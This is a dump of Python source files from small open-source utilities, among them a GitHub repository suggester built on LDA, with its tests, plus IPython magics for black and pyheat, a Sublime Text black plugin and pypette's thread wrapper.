Any]:\n \"\"\"Method to load JSON file and return a dictionary.\n\n :param file_path: JSON file path.\n :type str:\n \"\"\"\n with open(file_path, \"r\") as f:\n return loads(f.read())\n\n def validate(self) -> None:\n \"\"\"Method to validate the provided campaign.\n\n :raises: ValidationError if campaign doesn't conform to `config.schema`.\n \"\"\"\n jsonschema.validate(self.campaign, self.schema)\n\n def get_game_from_campaign(self) -> Game:\n \"\"\"Method to procure game setup from campaign.\"\"\"\n\n # Dictionary with puzzles.\n puzzles: Dict[str, Any] = {}\n\n # Always begin with 1 as the puzzle ID and move through the chain.\n next_key = CampaignReader.STARTING_PUZZLE_KEY\n # Keep track of total puzzles to mark end key appropriately.\n total_steps = len(self.campaign[CampaignReader.PUZZLES_KEY])\n\n # Iterate through puzzle list and create chained puzzle dictionary.\n #\n # \"1\": <FirstPuzzle> where <FirstPuzzle>.next_puzzle points to the puzzle\n # to go to and so on and so forth. With last puzzle having next_puzzle id\n # set to \"end\"\n for i, puzzle in enumerate(self.campaign[CampaignReader.PUZZLES_KEY]):\n key = next_key\n next_key = str(uuid4())\n puzzles[key] = Puzzle(\n title=puzzle[CampaignReader.TITLE_KEY],\n text=puzzle[CampaignReader.TEXT_KEY],\n images=puzzle[CampaignReader.IMAGES_KEY],\n hints=puzzle[CampaignReader.PUZZLE_HINTS_KEY],\n answer=puzzle[CampaignReader.PUZZLE_ANSWER_KEY],\n next_puzzle=CampaignReader.FINAL_PUZZLE_KEY\n if i == total_steps - 1\n else next_key,\n )\n\n return Game(\n title=self.campaign[CampaignReader.STORY_KEY][CampaignReader.TITLE_KEY],\n text=self.campaign[CampaignReader.STORY_KEY][CampaignReader.TEXT_KEY],\n images=self.campaign[CampaignReader.STORY_KEY][CampaignReader.IMAGES_KEY],\n puzzles=puzzles,\n )\n", "id": "1829012", "language": "Python", "matching_score": 0.6150048971176147, "max_stars_count": 4, "path": "escaperoom/reader.py" }, { "content": "# -*- coding: utf-8 -*-\n\n\"\"\"\ngitsuggest.suggest\n~~~~~~~~~~~~~~~~~~\n\nThis module contains the primary objects that power GitSuggest.\n\"\"\"\n\nimport itertools\nfrom collections import defaultdict\nfrom operator import attrgetter\nfrom os import path\n\nimport github\nfrom gensim import corpora, models\nfrom nltk.corpus import words, stopwords\nfrom nltk.tokenize import RegexpTokenizer\n\n\nclass GitSuggest(object):\n \"\"\"Class to suggest git repositories for a user.\"\"\"\n\n # Length of description of a repository over which it is a high chance\n # that it is a spammy repository.\n MAX_DESC_LEN = 300\n\n def __init__(\n self, username=None, password=None, token=None, deep_dive=False\n ):\n \"\"\"Constructor.\n\n Username and password is used to get an authenticated handle which has\n a higher rate limit when compared to unauthenticated handle which will\n have much lesser rate limit.\n\n :param username: Github username.\n :param password: <PASSWORD>.\n :param token: Github access token.\n :param deep_dive: When set to True considers the repositories people\n you follow have starred along with the ones you have\n starred.\n \"\"\"\n if token:\n self.github = github.Github(token)\n username = self.github.get_user().login\n assert username is not None, \"Invalid token\"\n else:\n assert username is not None, \"Suggest cannot work without username\"\n # Github handle.\n if password is not None and password != \"\":\n self.github = github.Github(username, password)\n else:\n self.github = github.Github()\n\n self.deep_dive = deep_dive\n\n # Populate repositories to be used for generating suggestions.\n self.user_starred_repositories = list()\n self.user_following_starred_repositories = list()\n self.__populate_repositories_of_interest(username)\n\n # Construct LDA model.\n self.lda_model = None\n self.__construct_lda_model()\n\n # Suggested repository set.\n self.suggested_repositories = None\n\n # Search for repositories is the costliest operation so defer it as\n # much as possible.\n\n @staticmethod\n def get_unique_repositories(repo_list):\n \"\"\"Method to create unique list of repositories from the list of\n repositories given.\n\n :param repo_list: List of repositories which might contain duplicates.\n :return: List of repositories with no duplicate in them.\n \"\"\"\n unique_list = list()\n included = defaultdict(lambda: False)\n for repo in repo_list:\n if not included[repo.full_name]:\n unique_list.append(repo)\n included[repo.full_name] = True\n return unique_list\n\n @staticmethod\n def minus(repo_list_a, repo_list_b):\n \"\"\"Method to create a list of repositories such that the repository\n belongs to repo list a but not repo list b.\n\n In an ideal scenario we should be able to do this by set(a) - set(b)\n but as GithubRepositories have shown that set() on them is not reliable\n resort to this until it is all sorted out.\n\n :param repo_list_a: List of repositories.\n :param repo_list_b: List of repositories.\n \"\"\"\n included = defaultdict(lambda: False)\n\n for repo in repo_list_b:\n included[repo.full_name] = True\n\n a_minus_b = list()\n for repo in repo_list_a:\n if not included[repo.full_name]:\n included[repo.full_name] = True\n a_minus_b.append(repo)\n\n return a_minus_b\n\n def __populate_repositories_of_interest(self, username):\n \"\"\"Method to populate repositories which will be used to suggest\n repositories for the user. For this purpose we use two kinds of\n repositories.\n\n 1. Repositories starred by user him/herself.\n 2. Repositories starred by the users followed by the user.\n\n :param username: Username for the user for whom repositories are being\n suggested for.\n \"\"\"\n # Handle to the user to whom repositories need to be suggested.\n user = self.github.get_user(username)\n\n # Procure repositories starred by the user.\n self.user_starred_repositories.extend(user.get_starred())\n\n # Repositories starred by users followed by the user.\n if self.deep_dive:\n for following_user in user.get_following():\n self.user_following_starred_repositories.extend(\n following_user.get_starred()\n )\n\n def __get_interests(self):\n \"\"\"Method to procure description of repositories the authenticated user\n is interested in.\n\n We currently attribute interest to:\n 1. The repositories the authenticated user has starred.\n 2. The repositories the users the authenticated user follows have\n starred.\n\n :return: List of repository descriptions.\n \"\"\"\n # All repositories of interest.\n repos_of_interest = itertools.chain(\n self.user_starred_repositories,\n self.user_following_starred_repositories,\n )\n\n # Extract descriptions out of repositories of interest.\n repo_descriptions = [repo.description for repo in repos_of_interest]\n return list(set(repo_descriptions))\n\n def __get_words_to_ignore(self):\n \"\"\"Compiles list of all words to ignore.\n\n :return: List of words to ignore.\n \"\"\"\n # Stop words in English.\n english_stopwords = stopwords.words(\"english\")\n\n here = path.abspath(path.dirname(__file__))\n\n # Languages in git repositories.\n git_languages = []\n with open(path.join(here, \"gitlang/languages.txt\"), \"r\") as langauges:\n git_languages = [line.strip() for line in langauges]\n\n # Other words to avoid in git repositories.\n words_to_avoid = []\n with open(path.join(here, \"gitlang/others.txt\"), \"r\") as languages:\n words_to_avoid = [line.strip() for line in languages]\n\n return set(\n itertools.chain(english_stopwords, git_languages, words_to_avoid)\n )\n\n def __get_words_to_consider(self):\n \"\"\"Compiles list of all words to consider.\n\n :return: List of words to consider.\n \"\"\"\n return set(words.words())\n\n def __clean_and_tokenize(self, doc_list):\n \"\"\"Method to clean and tokenize the document list.\n\n :param doc_list: Document list to clean and tokenize.\n :return: Cleaned and tokenized document list.\n \"\"\"\n # Some repositories fill entire documentation in description. We ignore\n # such repositories for cleaner tokens.\n doc_list = filter(\n lambda x: x is not None and len(x) <= GitSuggest.MAX_DESC_LEN,\n doc_list,\n )\n\n cleaned_doc_list = list()\n\n # Regular expression to remove out all punctuations, numbers and other\n # un-necessary text substrings like emojis etc.\n tokenizer = RegexpTokenizer(r\"[a-zA-Z]+\")\n\n # Get stop words.\n stopwords = self.__get_words_to_ignore()\n\n # Get english words.\n dict_words = self.__get_words_to_consider()\n\n for doc in doc_list:\n # Lowercase doc.\n lower = doc.lower()\n\n # Tokenize removing numbers and punctuation.\n tokens = tokenizer.tokenize(lower)\n\n # Include meaningful words.\n tokens = [tok for tok in tokens if tok in dict_words]\n\n # Remove stopwords.\n tokens = [tok for tok in tokens if tok not in stopwords]\n\n # Filter Nones if any are introduced.\n tokens = [tok for tok in tokens if tok is not None]\n\n cleaned_doc_list.append(tokens)\n\n return cleaned_doc_list\n\n def __construct_lda_model(self):\n \"\"\"Method to create LDA model to procure list of topics from.\n\n We do that by first fetching the descriptions of repositories user has\n shown interest in. We tokenize the hence fetched descriptions to\n procure list of cleaned tokens by dropping all the stop words and\n language names from it.\n\n We use the cleaned and sanitized token list to train LDA model from\n which we hope to procure topics of interests to the authenticated user.\n \"\"\"\n # Fetch descriptions of repos of interest to authenticated user.\n repos_of_interest = self.__get_interests()\n\n # Procure clean tokens from the descriptions.\n cleaned_tokens = self.__clean_and_tokenize(repos_of_interest)\n\n # If cleaned tokens are empty, it can cause an exception while\n # generating LDA. But tokens shouldn't be something meaningful as that\n # would mean we are suggesting repos without reason. Hence the random\n # string to ensure that LDA doesn't cause exception but the token\n # doesn't generate any suggestions either.\n if not cleaned_tokens:\n cleaned_tokens = [[\"zkfgzkfgzkfgzkfgzkfgzkfg\"]]\n\n # Setup LDA requisites.\n dictionary = corpora.Dictionary(cleaned_tokens)\n corpus = [dictionary.doc2bow(text) for text in cleaned_tokens]\n\n # Generate LDA model\n self.lda_model = models.ldamodel.LdaModel(\n corpus, num_topics=1, id2word=dictionary, passes=10\n )\n\n def __get_query_for_repos(self, term_count=5):\n \"\"\"Method to procure query based on topics authenticated user is\n interested in.\n\n :param term_count: Count of terms in query.\n :return: Query string.\n \"\"\"\n repo_query_terms = list()\n for term in self.lda_model.get_topic_terms(0, topn=term_count):\n repo_query_terms.append(self.lda_model.id2word[term[0]])\n return \" \".join(repo_query_terms)\n\n def __get_repos_for_query(self, query):\n \"\"\"Method to procure git repositories for the query provided.\n\n IMPORTANT NOTE: This is the costliest of all the calls hence keep this\n to a minimum.\n\n :param query: String representing the repositories intend to search.\n :return: Iterator for repositories found using the query.\n \"\"\"\n return self.github.search_repositories(\n query, \"stars\", \"desc\"\n ).get_page(\n 0\n )\n\n def get_suggested_repositories(self):\n \"\"\"Method to procure suggested repositories for the user.\n\n :return: Iterator to procure suggested repositories for the user.\n \"\"\"\n if self.suggested_repositories is None:\n # Procure repositories to suggest to user.\n repository_set = list()\n for term_count in range(5, 2, -1):\n query = self.__get_query_for_repos(term_count=term_count)\n repository_set.extend(self.__get_repos_for_query(query))\n\n # Remove repositories authenticated user is already interested in.\n catchy_repos = GitSuggest.minus(\n repository_set, self.user_starred_repositories\n )\n\n # Filter out repositories with too long descriptions. This is a\n # measure to weed out spammy repositories.\n filtered_repos = []\n\n if len(catchy_repos) > 0:\n for repo in catchy_repos:\n if (\n repo is not None\n and repo.description is not None\n and len(repo.description) <= GitSuggest.MAX_DESC_LEN\n ):\n filtered_repos.append(repo)\n\n # Present the repositories, highly starred to not starred.\n filtered_repos = sorted(\n filtered_repos,\n key=attrgetter(\"stargazers_count\"),\n reverse=True,\n )\n\n self.suggested_repositories = GitSuggest.get_unique_repositories(\n filtered_repos\n )\n\n # Return an iterator to help user fetch the repository listing.\n for repository in self.suggested_repositories:\n yield repository\n", "id": "6362176", "language": "Python", "matching_score": 3.6608195304870605, "max_stars_count": 712, "path": "gitsuggest/suggest.py" }, { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ngitsuggest.commandline\n~~~~~~~~~~~~~~~~~~~~~~\n\nThis module contains code to use the GitSuggest as commandline.\n\nUsage:\n\n >>> gitsuggest --help\n usage: gitsuggest [-h] username\n\n positional arguments:\n username Github Username\n\n optional arguments:\n -h, --help show this help message and exit\n --deep_dive If added considers repositories starred by users you follow\n along with repositories you have starred. Is significantly\n slower.\n\n >>> gitsuggest <username>\n # Asks for password input in a secure way to fetch suggested repositories\n # for the authenticated user.\n\"\"\"\n\nimport argparse\nimport getpass\nimport webbrowser\n\nimport crayons\nfrom github.GithubException import BadCredentialsException, TwoFactorException\n\nfrom .suggest import GitSuggest\nfrom .utilities import ReposToHTML\n\n\ndef main():\n \"\"\"Starting point for the program execution.\"\"\"\n\n # Create command line parser.\n parser = argparse.ArgumentParser()\n\n # Adding command line arguments.\n parser.add_argument(\"username\", help=\"Github Username\", default=None)\n\n parser.add_argument(\n \"--deep_dive\",\n help=\" \".join(\n [\n \"If added considers repositories starred by users\",\n \"you follow along with repositories you have\",\n \"starred. Is significantly slower.\",\n ]\n ),\n action=\"store_true\",\n default=False,\n )\n\n # Parse command line arguments.\n arguments = parser.parse_args()\n\n if arguments.username is None:\n parser.print_help()\n return\n\n print(\"\")\n print(\n crayons.white(\n \"Authentication (with password) have higher rate limits.\"\n )\n )\n print(\n crayons.white(\n \"Skipping password might cause failure due to rate limit.\"\n )\n )\n print(\"\")\n\n password = getpass.getpass(\n crayons.blue(\n \"Enter password (to skip press enter without entering anything): \",\n bold=True,\n )\n )\n\n try:\n gs = GitSuggest(\n username=arguments.username,\n password=password,\n token=None,\n deep_dive=arguments.deep_dive,\n )\n except BadCredentialsException:\n print(\"\")\n print(\n crayons.red(\n \"Incorrect password provided, to skip password enter nothing.\",\n bold=True,\n )\n )\n exit()\n except TwoFactorException:\n print(\"\")\n print(\n crayons.red(\n \"\\n\".join(\n [\n \"You have 2FA set up, please enter a personal access token.\",\n \"You can generate one on https://github.com/settings/tokens\",\n ]\n ),\n bold=True,\n )\n )\n exit()\n\n print(\"\")\n print(crayons.green(\"Suggestions generated!\"))\n\n file_name = \"/tmp/gitresults.html\"\n repos = list(gs.get_suggested_repositories())\n\n r2h = ReposToHTML(arguments.username, repos)\n r2h.to_html(file_name)\n\n webbrowser.open_new(\"file://\" + file_name)\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "8933320", "language": "Python", "matching_score": 2.371049165725708, "max_stars_count": 712, "path": "gitsuggest/commandline.py" }, { "content": "# -*- coding: utf-8 -*-\n\n\"\"\"\ngitsuggest.utilities\n~~~~~~~~~~~~~~~~~~~~\n\nThis module contains utility classes which help in displaying the results.\n\"\"\"\n\nfrom os import path\nfrom jinja2 import FileSystemLoader, Environment\n\n\nclass ReposToHTML(object):\n \"\"\"Class to convert the repository list to HTML page with results.\"\"\"\n\n def __init__(self, user, repos):\n \"\"\"Constructor.\n\n :param user: User for whom we are fetching the repositories for.\n :param repos: List of github.Repository objects.\n \"\"\"\n self.user = user\n self.repos = repos\n\n def get_html(self):\n \"\"\"Method to convert the repository list to a search results page.\"\"\"\n here = path.abspath(path.dirname(__file__))\n\n env = Environment(loader=FileSystemLoader(path.join(here, \"res/\")))\n suggest = env.get_template(\"suggest.htm.j2\")\n\n return suggest.render(\n logo=path.join(here, \"res/logo.png\"),\n user_login=self.user,\n repos=self.repos,\n )\n\n def to_html(self, write_to):\n \"\"\"Method to convert the repository list to a search results page and\n write it to a HTML file.\n\n :param write_to: File/Path to write the html file to.\n \"\"\"\n page_html = self.get_html()\n\n with open(write_to, \"wb\") as writefile:\n writefile.write(page_html.encode(\"utf-8\"))\n", "id": "8877117", "language": "Python", "matching_score": 0.7992051839828491, "max_stars_count": 712, "path": "gitsuggest/utilities.py" }, { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ngitsuggest.suggest test\n~~~~~~~~~~\n\nUsage from git root:\n\n >>> python setup.py test\n\"\"\"\n\nimport unittest\n\nfrom gitsuggest import GitSuggest\n\nfrom .mockentities import MockRepo\n\n\nclass GitSuggestTest(unittest.TestCase):\n \"\"\"Class to test :class:`GitSuggest` functionality.\"\"\"\n\n def test_get_unique_repositories(self):\n \"\"\"Tests to validate get_unique_repositories().\"\"\"\n\n repo_list = [\n MockRepo(\"userA/proA\", \"A Desc\"),\n MockRepo(\"userB/proB\", \"B Desc\"),\n MockRepo(\"userA/proA\", \"A Desc\"),\n MockRepo(\"userB/proB\", \"B Desc\"),\n MockRepo(\"userC/proC\", \"C Desc\"),\n ]\n expected_unique = [\n MockRepo(\"userA/proA\", \"A Desc\"),\n MockRepo(\"userB/proB\", \"B Desc\"),\n MockRepo(\"userC/proC\", \"C Desc\"),\n ]\n\n unique = GitSuggest.get_unique_repositories(repo_list)\n\n self.assertEqual(len(expected_unique), len(unique))\n self.assertEqual(expected_unique, unique)\n\n def test_minus(self):\n \"\"\"Tests to validate minus().\"\"\"\n\n repo_list_a = [\n MockRepo(\"userA/proA\", \"A Desc\"),\n MockRepo(\"userB/proB\", \"B Desc\"),\n MockRepo(\"userC/proC\", \"C Desc\"),\n MockRepo(\"userD/proD\", \"D Desc\"),\n ]\n repo_list_b = [\n MockRepo(\"userB/proB\", \"B Desc\"), MockRepo(\"userD/proD\", \"D Desc\")\n ]\n expected_a_minus_b = [\n MockRepo(\"userA/proA\", \"A Desc\"), MockRepo(\"userC/proC\", \"C Desc\")\n ]\n\n a_minus_b = GitSuggest.minus(repo_list_a, repo_list_b)\n\n self.assertEqual(len(expected_a_minus_b), len(a_minus_b))\n self.assertEqual(expected_a_minus_b, a_minus_b)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "11339044", "language": "Python", "matching_score": 3.913433074951172, "max_stars_count": 712, "path": "tests/test_suggest.py" }, { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ngitsuggest.utilities test\n~~~~~~~~~~\n\nUsage from git root:\n\n >>> python setup.py test\n\"\"\"\n\nimport unittest\n\nfrom gitsuggest import ReposToHTML\n\nfrom .mockentities import MockRepo\n\n\nclass ReposToHTMLTest(unittest.TestCase):\n \"\"\"Class to test :class:`ReposToHTML` functionality.\"\"\"\n\n def test_get_html(self):\n \"\"\"Tests convertion of repository object list to HTML page.\"\"\"\n\n repo_list = [\n MockRepo(\"userA/proA\", \"A Desc\"),\n MockRepo(\"userB/proB\", \"B Desc\"),\n MockRepo(\"userC/proC\", \"C Desc\"),\n ]\n\n r2h = ReposToHTML(repo_list)\n page = r2h.get_html()\n\n # Assert structure of HTML page.\n self.assertTrue(page.startswith(\"<html>\"))\n self.assertTrue(page.endswith(\"</html>\"))\n self.assertEqual(page.count(\"section class\"), len(repo_list))\n\n # Assert contents of HTML page.\n for repo in repo_list:\n title = repo.full_name\n description = repo.description\n link = ReposToHTML.GITHUB_URL + title\n self.assertEqual(page.count(title), 1 + 2) # Title + Links\n self.assertEqual(page.count(description), 1) # Description\n self.assertEqual(page.count(link), 2) # Links\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "3444365", "language": "Python", "matching_score": 2.3076367378234863, "max_stars_count": 712, "path": "tests/test_utilities.py" }, { "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"File with mock classes.\"\"\"\n\n\nclass MockRepo(object):\n \"\"\"MockClass to represent a GitRepository.\"\"\"\n\n def __init__(self, full_name, description):\n \"\"\"Constructor.\n\n :param full_name: Name of the repository.\n :param description: Description of the repository.\n \"\"\"\n self.full_name = full_name\n self.description = description\n\n def __eq__(self, other):\n return self.full_name == other.full_name and self.description == other.description\n", "id": "3392811", "language": "Python", "matching_score": 0.5105078220367432, "max_stars_count": 712, "path": "tests/mockentities.py" }, { "content": "\"\"\"\nSublime Text package to format Python code using `black`\nhttps://github.com/ambv/black formatter.\n\"\"\"\nimport sublime\nimport sublime_plugin\n\n\ndef load_user_settings():\n \"\"\"Method to procure user settings for black.\"\"\"\n return sublime.load_settings(\"black.sublime-settings\")\n\n\ndef execute(window, encoding, command, file_name):\n \"\"\"Command to execute in window.\"\"\"\n\n # TODO(vishwas): Once Sublime text starts supporting Python3.6+ extend\n # the same to format view strings in addition to the files. This is\n # currently not possible as any python module imported within plugin\n # would run in Python3.3 which doesn't support `black`.\n if not file_name:\n sublime.message_dialog(\n \"Black formatter can currently be run only on saved files.\"\n )\n return\n\n # Check to ensure command is run only on python files.\n if not file_name.endswith(\".py\"):\n sublime.message_dialog(\n \"Black formatter can be used to format `.py` files only.\"\n )\n return\n\n cmd = []\n # To ensure we don't have any issues with respect to click's\n # http://click.pocoo.org/5/python3/#python-3-surrogate-handling\n if encoding:\n cmd.append(encoding)\n\n cmd.append(command)\n cmd.append('\"{0}\"'.format(file_name))\n window.run_command(\"exec\", {\"shell_cmd\": \" \".join(cmd)})\n\n\nclass black_format(sublime_plugin.WindowCommand):\n \"\"\"Command to format files in place using `black`.\"\"\"\n\n def run(self):\n self.settings = load_user_settings()\n self.file_name = self.window.active_view().file_name()\n\n execute(\n self.window,\n self.settings.get(\"encoding\", None),\n \"black -l {0}{1}\".format(\n self.settings.get(\"line_length\", 88),\n \" -S\" if self.settings.get(\"skip_string_normalization\", False) else \"\",\n ),\n self.file_name,\n )\n\n\nclass black_diff(sublime_plugin.WindowCommand):\n \"\"\"Command to show what would be different if formatted using `black`.\"\"\"\n\n def run(self):\n self.settings = load_user_settings()\n self.file_name = self.window.active_view().file_name()\n\n execute(\n self.window,\n self.settings.get(\"encoding\", None),\n \"black --diff -l {0}{1}\".format(\n self.settings.get(\"line_length\", 88),\n \" -S\" if self.settings.get(\"skip_string_normalization\", False) else \"\",\n ),\n self.file_name,\n )\n", "id": "3768188", "language": "Python", "matching_score": 1.863781213760376, "max_stars_count": 60, "path": "black-sublime.py" }, { "content": "\"\"\"\nblack\n~~~~~\nModule implementing IPython cell magic to format code using black, the\nuncompromising python code formatter.\n\nUsage of black:\n\nTo have it formatted to black default length 88.\n>>> %%black\n\nTo have it formatted to a particular line length.\n>>> %%black -l 79\n>>> %%black --line_length 79\n\n:copyright: (c) 2018 by <NAME>.\n:license: MIT, see LICENSE for more details.\n\"\"\"\n\n\nfrom black import FileMode, format_str\nfrom IPython.core import magic_arguments\nfrom IPython.core.magic import Magics, cell_magic, magics_class\n\n\n@magics_class\nclass FormattingMagic(Magics):\n \"\"\"IPython wrapper to format cell using `https://github.com/psf/black`.\"\"\"\n\n @magic_arguments.magic_arguments()\n @magic_arguments.argument(\n '-S', '--skip-string-normalization', action='store_true', default=False, help='Skip string normalization.'\n )\n @magic_arguments.argument('-l', '--line-length', type=int, default=88, help='Line length')\n @cell_magic\n def black(self, line, cell):\n \"\"\"Magic command to format the IPython cell.\"\"\"\n args = magic_arguments.parse_argstring(self.black, line)\n line_length = args.line_length\n skip_string_normalization = args.skip_string_normalization\n if cell:\n try:\n mode = FileMode(line_length=line_length, string_normalization=not skip_string_normalization)\n formatted = format_str(src_contents=cell, mode=mode)\n except TypeError:\n formatted = format_str(\n src_contents=cell, line_length=line_length, string_normalization=not skip_string_normalization\n )\n if formatted and formatted[-1] == '\\n':\n formatted = formatted[:-1]\n self.shell.set_next_input(formatted, replace=True)\n\n\ndef load_ipython_extension(ipython):\n ipython.register_magics(FormattingMagic)\n", "id": "1945123", "language": "Python", "matching_score": 2.858982801437378, "max_stars_count": 310, "path": "blackcellmagic.py" }, { "content": "\"\"\"\nheat\n~~~~\nModule implementing IPython cell magic to use pyheat.\n\nUsage of heat:\n\nTo have heatmap displayed within ipython notebook.\n>>> %%heat\n\nTo have heatmap exported as a image file.\n>>> %%heat -o heat.png\n>>> %%heat --out heat.png\n\n:copyright: (c) 2017 by <NAME>.\n:license: MIT, see LICENSE for more details.\n\"\"\"\n\n__title__ = 'heat'\n__version__ = '0.0.2'\n__author__ = '<NAME>'\n__author_email__ = '<EMAIL>'\n__license__ = 'MIT'\n__copyright__ = 'Copyright 2017 <NAME>'\n\nimport os\nfrom tempfile import mkstemp\n\nfrom IPython.core import magic_arguments\nfrom IPython.core.magic import Magics, cell_magic, magics_class\nfrom pyheat import PyHeat\n\n\n@magics_class\nclass PyHeatMagic(Magics):\n \"\"\"Class with IPython magic commands to effectively use py-heat profiling\n within IPython.\"\"\"\n\n @magic_arguments.magic_arguments()\n @magic_arguments.argument('-o', '--out', default=None, help='Save the heatmap to given file')\n @cell_magic\n def heat(self, line, cell):\n \"\"\"Method to profile the python code in the ipython cell and display it\n as a heatmap using py-heat package.\n\n :param line: Line value for the ipython line this magic is called from.\n :param cell: Cell value for the ipython cell this magic is called from.\n \"\"\"\n args = magic_arguments.parse_argstring(self.heat, line)\n filename = args.out\n if filename is not None:\n filename = os.path.expanduser(args.out)\n\n _, tmp_file = mkstemp()\n with open(tmp_file, 'wb') as f:\n f.write(cell.encode())\n\n pyheat = PyHeat(tmp_file)\n pyheat.create_heatmap()\n pyheat.show_heatmap(output_file=filename)\n pyheat.close_heatmap()\n\n os.remove(tmp_file)\n\n\ndef load_ipython_extension(ipython):\n ipython.register_magics(PyHeatMagic)\n", "id": "10768091", "language": "Python", "matching_score": 2.0903382301330566, "max_stars_count": 1053, "path": "heat.py" }, { "content": "# /$$\n# | $$\n# /$$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$\n# /$$__ $$|____ /$$/ /$$__ $$ /$$__ $$ |____ $$ /$$__ $$\n# | $$$$$$$$ /$$$$/ | $$ \\__/| $$$$$$$$ /$$$$$$$| $$ | $$\n# | $$_____/ /$$__/ | $$ | $$_____/ /$$__ $$| $$ | $$\n# | $$$$$$$ /$$$$$$$$| $$ | $$$$$$$| $$$$$$$| $$$$$$$\n# \\_______/|________/|__/ \\_______/ \\_______/ \\_______/\n\n__title__ = \"ezread\"\n__description__ = (\n \"ezread provides a ridiculously simple way to fetch items within the JSON list.\"\n)\n__url__ = \"https://github.com/csurfer/ezread\"\n__version__ = \"0.0.1\"\n__author__ = \"<NAME>\"\n__author_email__ = \"<EMAIL>\"\n__license__ = \"MIT\"\n__copyright__ = \"Copyright 2020 <NAME>\"\n", "id": "201710", "language": "Python", "matching_score": 3.521435499191284, "max_stars_count": 3, "path": "ezread/__version__.py" }, { "content": "# __ __\n# ____ __ ______ ___ / /_/ /____\n# / __ \\/ / / / __ \\/ _ \\/ __/ __/ _ \\\n# / /_/ / /_/ / /_/ / __/ /_/ /_/ __/\n# / .___/\\__, / .___/\\___/\\__/\\__/\\___/\n# /_/ /____/_/\n\n__title__ = 'pypette'\n__description__ = 'Package to make building pipelines ridiculously simple.'\n__url__ = 'https://github.com/csurfer/pypette'\n__version__ = '0.0.12'\n__author__ = '<NAME>'\n__author_email__ = '<EMAIL>'\n__license__ = 'MIT'\n__copyright__ = 'Copyright 2017 <NAME>'\n", "id": "703040", "language": "Python", "matching_score": 2.1176090240478516, "max_stars_count": 286, "path": "pypette/__version__.py" }, { "content": "# -*- coding: utf-8 -*-\n\n# _______ __ _____ __\n# / ____(_) /_/ ___/__ ______ _____ ____ _____/ /_\n# / / __/ / __/\\__ \\/ / / / __ `/ __ `/ _ \\/ ___/ __/\n# / /_/ / / /_ ___/ / /_/ / /_/ / /_/ / __(__ ) /_\n# \\____/_/\\__//____/\\__,_/\\__, /\\__, /\\___/____/\\__/\n# /____//____/\n\n\"\"\"\nGitSuggest\n~~~~~~~~~~\n\nGitSuggest is a library written in Python, to suggest git repositories a user\nmight be interested in based on user's interests.\n\n:copyright: (c) 2017 by <NAME>.\n:licence: MIT, see LICENSE for more details.\n\"\"\"\n\n__title__ = \"gitsuggest\"\n__version__ = \"0.0.13\"\n__author__ = \"<NAME>\"\n__author_email__ = \"<EMAIL>\"\n__license__ = \"MIT\"\n__copyright__ = \"Copyright 2017 <NAME>\"\n\nfrom .suggest import GitSuggest\nfrom .utilities import ReposToHTML\n", "id": "6347663", "language": "Python", "matching_score": 1.742719292640686, "max_stars_count": 712, "path": "gitsuggest/__init__.py" }, { "content": "# /$$\n# | $$\n# /$$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$\n# /$$__ $$|____ /$$/ /$$__ $$ /$$__ $$ |____ $$ /$$__ $$\n# | $$$$$$$$ /$$$$/ | $$ \\__/| $$$$$$$$ /$$$$$$$| $$ | $$\n# | $$_____/ /$$__/ | $$ | $$_____/ /$$__ $$| $$ | $$\n# | $$$$$$$ /$$$$$$$$| $$ | $$$$$$$| $$$$$$$| $$$$$$$\n# \\_______/|________/|__/ \\_______/ \\_______/ \\_______/\n\n\"\"\"\nezread module\n~~~~~~~~~~~~~\n\n:copyright: (c) 2020 by <NAME>.\n:license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom .reader import EzReader\n", "id": "9225044", "language": "Python", "matching_score": 0.39608949422836304, "max_stars_count": 3, "path": "ezread/__init__.py" }, { "content": "# -*- coding: utf-8 -*-\n\n# __ __\n# ____ __ ______ ___ / /_/ /____\n# / __ \\/ / / / __ \\/ _ \\/ __/ __/ _ \\\n# / /_/ / /_/ / /_/ / __/ /_/ /_/ __/\n# / .___/\\__, / .___/\\___/\\__/\\__/\\___/\n# /_/ /____/_/\n\nfrom .jobs import BashJob, Job\nfrom .pipes import Gate, Pipe\nfrom .threadwrapper import ThreadState, ThreadWrapper\n", "id": "11833560", "language": "Python", "matching_score": 2.7565250396728516, "max_stars_count": 286, "path": "pypette/__init__.py" }, { "content": "# -*- coding: utf-8 -*-\n\n\"\"\"\nthreadwrapper.api\n~~~~~~~~~~~~~~~~~\nClass definitions to create wrapper threads for jobs.\n\"\"\"\n\nimport subprocess\nfrom enum import Enum\nfrom threading import Thread\nfrom typing import Any, Optional\n\nfrom .jobs import BashJob, Job\n\n\nclass ThreadState(Enum):\n \"\"\"State in which a thread can be in.\"\"\"\n\n FAILED = 1\n INIT = 2\n RUNNING = 3\n SUCCESS = 4\n\n\nclass JobTypes(Enum):\n \"\"\"Different types of jobs to process\"\"\"\n\n BASHJOB = 1\n JOB = 2\n PIPE = 3\n\n\nclass ThreadWrapper(Thread):\n \"\"\"Wrapper around a thread to allow for exception handling and safe\n job execution.\"\"\"\n\n def __init__(self, job: Any) -> None:\n \"\"\"Constructor.\n\n :param job: Job to run.\n \"\"\"\n self._job: Any = job\n if isinstance(job, Job):\n self._jobtype = JobTypes.JOB\n super(ThreadWrapper, self).__init__(target=job.function, args=job.args, kwargs=job.kwargs)\n\n elif isinstance(job, BashJob):\n # Note that without lambda, subprocess.Popen runs immediately.\n self._jobtype = JobTypes.BASHJOB\n super(ThreadWrapper, self).__init__(target=lambda: subprocess.Popen(job.cmd).wait())\n\n else:\n self._jobtype = JobTypes.PIPE\n super(ThreadWrapper, self).__init__(target=job.run)\n\n self._state = ThreadState.INIT\n self._exception: Optional[Exception] = None\n\n def run(self) -> None:\n \"\"\"Runs the thread in an exception free way.\"\"\"\n try:\n self._state = ThreadState.RUNNING\n super(ThreadWrapper, self).run()\n if self._jobtype == JobTypes.PIPE:\n self._state = self._job.state\n else:\n self._state = ThreadState.SUCCESS\n except Exception as e:\n self._state = ThreadState.FAILED\n self._exception = e\n\n 